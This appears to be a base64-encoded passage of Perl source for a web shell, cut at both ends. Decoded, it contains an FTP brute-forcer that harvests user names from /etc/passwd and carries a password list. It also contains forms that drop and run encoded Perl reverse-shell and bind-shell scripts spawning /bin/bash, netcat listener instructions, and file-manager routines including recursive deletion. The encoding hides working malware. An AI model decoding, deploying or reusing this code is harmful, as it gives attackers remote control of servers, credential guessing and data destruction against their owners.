SkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCR1c2VybmFtZSBuZSAiIikNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLg0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCglpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAiJGZpbGUiOw0KCX0NCglyZXR1cm4gIjAiOw0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBUcmltU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7DQoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOw0KCXJldHVybiAkc3RyaW5nOw0KfQ0Kc3ViIExpc3REaXINCnsNCglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7DQoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7DQoJaWYoLWQgJHBhdGgpDQoJew0KCQlteSBAZm5hbWUgPSAoKTsNCgkJbXkgQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkNCgkJew0KCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCQl7DQoJCQkJJGY9JHBhdGguJGZpbGU7DQoJCQkJaWYoLWQgJGYpDQoJCQkJew0KCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+DQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCB3aWR0aD0nMTAwJz5GaWxlIFNpemU8L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCB3aWR0aD0nMTUwJz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9Im5vdGxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJbmV4dDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZV